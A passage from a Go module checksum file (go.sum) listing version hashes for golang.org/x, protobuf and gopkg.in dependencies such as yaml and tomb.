h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 77 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 78 | golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 79 | golang.org/x/sys v0.0.0-20190904154756-749cb33beabd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 80 | golang.org/x/sys v0.0.0-20191005200804-aed5e4c7ecf9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 81 | golang.org/x/sys v0.0.0-20191120155948-bd437916bb0e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 82 | golang.org/x/sys v0.0.0-20191204072324-ce4227a45e2e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 83 | golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 84 | golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 85 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 86 | golang.org/x/sys v0.0.0-20210112080510-489259a85091/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 87 | golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 88 | golang.org/x/sys v0.0.0-20210423082822-04245dca01da h1:b3NXsE2LusjYGGjL5bxEVZZORm/YEFFrWFjR8eFrw/c= 89 | golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 90 | golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 91 | golang.org/x/sys v0.0.0-20220319134239-a9b59b0215f8 h1:OH54vjqzRWmbJ62fjuhxy7AxFFgoHN0/DPc/UrL8cAs= 92 | golang.org/x/sys v0.0.0-20220319134239-a9b59b0215f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 93 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= 94 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 95 | golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 96 | golang.org/x/text v0.3.6 h1:aRYxNxv6iGQlyVaZmk6ZgYEDa+Jg18DxebPSrd6bg1M= 97 | golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 98 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 99 | golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 100 | golang.org/x/tools v0.0.0-20201224043029-2b0845dc783e/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= 101 | golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 102 | golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 103 | golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 104 | golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 105 | google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= 106 | google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= 107 | google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM= 108 | google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE= 109 | google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo= 110 | google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= 111 | google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= 112 | google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= 113 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 114 | gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys= 115 | gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 h1:uRGJdciOHaEIrze2W8Q3AKkepLTh2hOroT7a+7czfdQ= 116 | gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw= 117 | gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 118 | gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 119 | gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 120 | gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= 121 | gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= 122 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo= 123 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 124 | --------------------------------------------------------------------------------